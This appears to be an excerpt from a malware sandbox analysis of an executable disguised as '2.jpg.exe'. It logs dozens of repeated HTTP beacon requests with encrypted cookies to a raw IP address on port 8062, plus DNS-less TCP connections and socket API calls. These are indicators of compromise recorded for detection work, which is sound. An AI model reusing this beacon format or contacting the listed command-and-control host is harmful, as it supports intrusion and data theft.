Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /g.pixel HTTP/1.1Accept: */*Cookie: f1RjI4OBLWTYvOAP8TYtFc6C60AXrsK8VC3EibSNpM+Fe4Wgf6whRAbZlwscCrKlEl9p/KKqXVy1dR9cUSetj99Jwa4sYMNTH3J9WY/vnLXRwj5uCu02xtJJfBjQYg+rBute9l4ymgPcjeDPPNkpiW1nAUkiRKRUdE1kh55rVds=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)Host: 8.218.236.5:8062Connection: Keep-AliveCache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: unknown TCP traffic detected without corresponding DNS query: 8.218.236.5
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06767AF5 GetTickCount,_malloc,htonl,recvfrom,WSAGetLastError,htonl,ioctlsocket, 0_2_06767AF5
